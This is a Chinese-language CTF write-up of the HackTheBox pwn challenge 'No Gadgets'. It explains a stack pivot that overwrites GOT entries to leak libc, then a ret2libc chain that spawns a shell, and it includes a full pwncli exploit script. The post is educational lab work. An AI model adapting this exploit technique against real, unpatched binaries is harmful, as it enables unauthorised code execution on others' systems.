selph
selph
Published on 2024-11-04 / 40 Visits
0
0

[HTB] No Gadgets

前言

这是一个简单的栈溢出,但是没有gadgets,导致不得不进行栈迁移布局栈空间

每日一题计划:督促自己练习,每日分享一题的练习!想一起刷题咱们可以一起练练练,以及,相互监督!

今天是第11天,标题不再强调是第几次了,还是老老实实这样比较好感觉

题目情况

In a world of mass shortages, even gadgets have gone missing. The remaining ones are protected by the gloating MEGAMIND, a once-sentient AI trapped in what remains of the NSA's nuclear bunker. Retrieving these gadgets is a top priority, but by no means easy. Much rests on what you can get done here, hacker. One could say too much.

难度:Medium

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

无PIE,无Canary,无FULL RELRO

逆向分析

main函数就这几行:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[128]; // [rsp+0h] [rbp-80h] BYREF

  setup(argc, argv, envp);
  puts(::s);
  puts("Welcome to No Gadgets, the ropping experience with absolutely no gadgets!");
  printf("Data: ");
  fgets(s, 0x1337, stdin);                      // 故意的栈溢出
  if ( strlen(s) > 0x80 )                       // 但是自己写了个溢出检测
  {
    puts("Woah buddy, you've entered so much data that you've reached the point of no return!");
    exit(1);
  }
  puts("Pathetic, 'tis but a scratch!");
  return 0;
}

有一个栈溢出是故意的,还有个自己写的溢出检测

利用分析

和题目描述一样,真的没有 Gadgets:

challenge ➤ ROPgadget --binary no_gadgets
Gadgets information
============================================================
0x0000000000401077 : add al, 0 ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401057 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x00000000004010eb : add bh, bh ; loopne 0x401155 ; nop ; ret
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401270 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x00000000004010b8 : add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x0000000000401271 : add byte ptr [rax], al ; add cl, cl ; ret
0x000000000040115a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401039 : add byte ptr [rax], al ; jmp 0x401020
0x0000000000401272 : add byte ptr [rax], al ; leave ; ret
0x00000000004010ba : add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x0000000000401034 : add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x0000000000401044 : add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x0000000000401054 : add byte ptr [rax], al ; push 2 ; jmp 0x401020
0x0000000000401064 : add byte ptr [rax], al ; push 3 ; jmp 0x401020
0x0000000000401074 : add byte ptr [rax], al ; push 4 ; jmp 0x401020
0x0000000000401084 : add byte ptr [rax], al ; push 5 ; jmp 0x401020
0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax
0x000000000040115b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401273 : add cl, cl ; ret
0x00000000004010ea : add dil, dil ; loopne 0x401155 ; nop ; ret
0x0000000000401047 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040115c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401157 : add eax, 0x2f0b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401067 : add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401013 : add esp, 8 ; ret
0x0000000000401012 : add rsp, 8 ; ret
0x00000000004011d3 : call qword ptr [rax + 0x4855c35d]
0x0000000000401010 : call rax
0x0000000000401173 : cli ; jmp 0x401100
0x0000000000401170 : endbr64 ; jmp 0x401100
0x000000000040100e : je 0x401012 ; call rax
0x00000000004010e5 : je 0x4010f0 ; mov edi, 0x404040 ; jmp rax
0x0000000000401127 : je 0x401130 ; mov edi, 0x404040 ; jmp rax
0x000000000040103b : jmp 0x401020
0x0000000000401174 : jmp 0x401100
0x00000000004010ec : jmp rax
0x0000000000401274 : leave ; ret
0x00000000004010ed : loopne 0x401155 ; nop ; ret
0x0000000000401156 : mov byte ptr [rip + 0x2f0b], 1 ; pop rbp ; ret
0x0000000000401062 : mov dl, 0x2f ; add byte ptr [rax], al ; push 3 ; jmp 0x401020
0x000000000040126f : mov eax, 0 ; leave ; ret
0x00000000004010e7 : mov edi, 0x404040 ; jmp rax
0x0000000000401052 : mov edx, 0x6800002f ; add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401082 : movabs byte ptr [0x56800002f], al ; jmp 0x401020
0x00000000004011d4 : nop ; pop rbp ; ret
0x00000000004010ef : nop ; ret
0x000000000040116c : nop dword ptr [rax] ; endbr64 ; jmp 0x401100
0x00000000004010bc : nop dword ptr [rax] ; ret
0x00000000004010e6 : or dword ptr [rdi + 0x404040], edi ; jmp rax
0x0000000000401158 : or ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040115d : pop rbp ; ret
0x0000000000401036 : push 0 ; jmp 0x401020
0x0000000000401046 : push 1 ; jmp 0x401020
0x0000000000401056 : push 2 ; jmp 0x401020
0x0000000000401066 : push 3 ; jmp 0x401020
0x0000000000401076 : push 4 ; jmp 0x401020
0x0000000000401086 : push 5 ; jmp 0x401020
0x0000000000401016 : ret
0x0000000000401042 : ret 0x2f
0x0000000000401022 : retf 0x2f
0x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000401279 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000401278 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040100c : test eax, eax ; je 0x401012 ; call rax
0x00000000004010e3 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404040 ; jmp rax
0x0000000000401125 : test eax, eax ; je 0x401130 ; mov edi, 0x404040 ; jmp rax
0x000000000040100b : test rax, rax ; je 0x401012 ; call rax

challenge ➤ ROPgadget --binary no_gadgets --only "pop|ret"
Gadgets information
============================================================
0x000000000040115d : pop rbp ; ret
0x0000000000401016 : ret
0x0000000000401042 : ret 0x2f

Unique gadgets found: 3

程序不存在syscall指令,程序编译于2.35版本,不存在csu函数,没法利用其中的gadgets来给寄存器赋值

更没有pop rdi这样的函数来执行经典的ret2plt去puts(got.puts)泄露地址

唯一存在用处的gadgets是leave ret,leave ret能连续执行2次就会把rbp迁移到rsp上

执行溢出的时候,rbp是可控的,那么应该返回到哪里呢?回到程序中观察rbp使用的地方:

   0x0000000000401222 <+75>:    lea    rax,[rbp-0x80]
   0x0000000000401226 <+79>:    mov    esi,0x1337
   0x000000000040122b <+84>:    mov    rdi,rax
   0x000000000040122e <+87>:    call   0x401060 <fgets@plt>
   0x0000000000401233 <+92>:    lea    rax,[rbp-0x80]
   0x0000000000401237 <+96>:    mov    rdi,rax
=> 0x000000000040123a <+99>:    call   0x401040 <strlen@plt>
   0x000000000040123f <+104>:   cmp    rax,0x80
   0x0000000000401245 <+110>:   jbe    0x401260 <main+137>
   0x0000000000401247 <+112>:   lea    rax,[rip+0x135a]        # 0x4025a8
   0x000000000040124e <+119>:   mov    rdi,rax
   0x0000000000401251 <+122>:   call   0x401030 <puts@plt>
   0x0000000000401256 <+127>:   mov    edi,0x1
   0x000000000040125b <+132>:   call   0x401080 <exit@plt>
   0x0000000000401260 <+137>:   lea    rax,[rip+0x1395]        # 0x4025fc
   0x0000000000401267 <+144>:   mov    rdi,rax
   0x000000000040126a <+147>:   call   0x401030 <puts@plt>
   0x000000000040126f <+152>:   mov    eax,0x0
   0x0000000000401274 <+157>:   leave
   0x0000000000401275 <+158>:   ret

这里是rbp第一次被使用的地方,fgets

可控rbp意味着可以完成一次任意地址写入!

能进行任意地址写入的话,就可以覆盖got表项,劫持函数,能劫持的有puts,exit,strlen函数

这三个函数,只有strlen参数的内容可控

既然要改got表,那大概对其进行strlen能够泄露出libc地址

有了libc泄露,那就直接打ret2libc了

Stack Pivot

fgets的目标是rbp-0x80的值

got表:

pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)

State of the GOT of /mnt/d/Misc/CTF/HTB/pwn/No Gadgets/pwn_no_gadgets/challenge/no_gadgets:
GOT protection: Partial RELRO | Found 6 GOT entries passing the filter
[0x404000] puts@GLIBC_2.2.5 -> 0x7f9885c68ed0 (puts) ◂— endbr64
[0x404008] strlen@GLIBC_2.2.5 -> 0x7f9885d85960 ◂— endbr64
[0x404010] printf@GLIBC_2.2.5 -> 0x7f9885c48770 (printf) ◂— endbr64
[0x404018] fgets@GLIBC_2.2.5 -> 0x7f9885c67400 (fgets) ◂— endbr64
[0x404020] setvbuf@GLIBC_2.2.5 -> 0x7f9885c69670 (setvbuf) ◂— endbr64
[0x404028] exit@GLIBC_2.2.5 -> 0x401086 (exit@plt+6) ◂— push 5

调整rbp,让fgets从strlen那里开始写入,一次性覆盖了strlen和printf

pwndbg> x/100xga 0x404008
0x404008 <strlen@got[plt]>:     0x7f9885d85960  0x7f9885c48770 <printf>
0x404018 <fgets@got[plt]>:      0x7f9885c67400 <fgets>  0x7f9885c69670 <setvbuf>
0x404028 <exit@got[plt]>:       0x401086 <exit@plt+6>   0x0
0x404038:       0x0     0x7f9885e02780 <_IO_2_1_stdout_>
0x404048:       0x0     0x7f9885e01aa0 <_IO_2_1_stdin_>
0x404058:       0x0     0x7f9885e026a0 <_IO_2_1_stderr_>
0x404068 <completed>:   0x0     0x0
0x404078:       0x0     0x0
0x404088:       0x0     0x0
0x404098:       0x0     0x0
0x4040a8:       0x0     0x0
0x4040b8:       0x0     0x0
0x4040c8:       0x0     0x0

要泄露出libc地址,需要修改got.strlen为plt.puts,也就是缓冲区指向了got表,这样调用strlen的时候,就会打印出got的地址,从而拿到libc地址

但是,后面的IO指针不能修改,修改了会导致后续无法调用gets

如果不覆盖后面的IO指针,那就没办法覆盖返回地址,程序自此失去控制

所以要先栈迁移去0x404080这里,提前布局后续栈迁移修改got时候的rsp

# 1. prepare the stack FengShui
main_ = 0x00000000040121b
rbp = elf.got.puts + 0x80 + 0x80
payload = b"\x00"*0x80 + pack(rbp) + pack(main_)
sla(b"Data: ",payload)


# 2. stack pivot
rbp = elf.got.puts + 0x80
payload = flat(
    pack(elf.got.puts + 0x80 + 0x80) , pack(pop_rbp_ret) + pack(elf.got.puts + 0xf00-8) + pack(leave_ret) + pack(leave_ret)
    ,filler=b"\x00",length=0x80)+ pack(rbp) +\
        pack(pop_rbp_ret) + pack(elf.got.puts + 0xf00-8) + pack(leave_ret) + pack(leave_ret) + b"\x00"*(0xf00 - 0x80 - 0xa8) +\
        pack(pop_rbp_ret) + pack(rbp) + pack(main_)
sl(payload)

至于这里的2部分为什么这么复杂,先往下看,后面介绍

leak libc address

提前布局好了0x408080开始的rbp和返回地址,之后,就可以修改rbp到got表开头开始劫持函数了

# 3. edit the got leak libc
payload = flat(
    pack(elf.plt.puts + 6)*2,
    pack(elf.plt.puts + 6),
    pack(elf.plt.fgets + 6),
    pack(elf.plt.setvbuf + 6),
    pack(elf.plt.exit + 6),
)
sl(payload)
leak = ru(b"\x7f\x0a")[-7:-1]
leak = unpack(leak,"all")
success("leak libc: " + hex(leak))
libc.address = leak - libc.sym.puts
success("libc base address: " + hex(libc.address))

泄露操作很好理解,elf.plt.puts+6,意味着让会重新解析函数地址,而这个操作会向got表里填写解析后的地址

调用完fgets之后,调用strlen,但是劫持成了puts,puts完成解析后,在got写入解析后的地址,而缓冲区刚好位于此时got表puts的地址

所以直接就打印出来了

这里有个问题就是,解析函数这个操作会需要用到足够大的栈空间,之前栈迁移部分,将栈迁移到了0x404f00的地方,来规避后续操作使用栈空间影响到got表以及IO指针;同时还要布局好之后的返回地址,flat部分就是对后续返回地址rop的构造,flat之后的内容,就是栈迁移的部分

ret2libc

一切顺利的话,最后会执行到main函数,然后此时有了libc地址,只需要正常的ret2libc即可拿到shell

# 4. ret2system
rop = ROP([elf,libc])
rop.raw(rop.ret)
rop.system(next(libc.search(b"/bin/sh")))

payload = b"\x00"*0x88 + rop.chain()
sl(payload)

完整exp

#!/usr/bin/env python3
# Date: 2024-11-01 13:25:28
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()
set_remote_libc('libc.so.6')

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

# 0x000000000040115d : pop rbp ; ret
pop_rbp_ret = 0x000000000040115d
# 0x0000000000401274 : leave ; ret
leave_ret = 0x0000000000401274

# 1. prepare the stack FengShui
main_ = 0x00000000040121b
rbp = elf.got.puts + 0x80 + 0x80
payload = b"\x00"*0x80 + pack(rbp) + pack(main_)
sla(b"Data: ",payload)


# 2. stack pivot
rbp = elf.got.puts + 0x80
payload = flat(
    pack(elf.got.puts + 0x80 + 0x80) , pack(pop_rbp_ret) + pack(elf.got.puts + 0xf00-8) + pack(leave_ret) + pack(leave_ret)
    ,filler=b"\x00",length=0x80)+ pack(rbp) +\
        pack(pop_rbp_ret) + pack(elf.got.puts + 0xf00-8) + pack(leave_ret) + pack(leave_ret) + b"\x00"*(0xf00 - 0x80 - 0xa8) +\
        pack(pop_rbp_ret) + pack(rbp) + pack(main_)
sl(payload)

# 3. edit the got leak libc
payload = flat(
    pack(elf.plt.puts + 6)*2,
    pack(elf.plt.puts + 6),
    pack(elf.plt.fgets + 6),
    pack(elf.plt.setvbuf + 6),
    pack(elf.plt.exit + 6),
)
sl(payload)
leak = ru(b"\x7f\x0a")[-7:-1]
leak = unpack(leak,"all")
success("leak libc: " + hex(leak))
libc.address = leak - libc.sym.puts
success("libc base address: " + hex(libc.address))

# 4. ret2system
rop = ROP([elf,libc])
rop.raw(rop.ret)
rop.system(next(libc.search(b"/bin/sh")))

payload = b"\x00"*0x88 + rop.chain()
sl(payload)

ia()

总结

栈溢出,栈迁移

要注意程序中寄存器的使用,可能可以在rop中复用

参考资料


Comment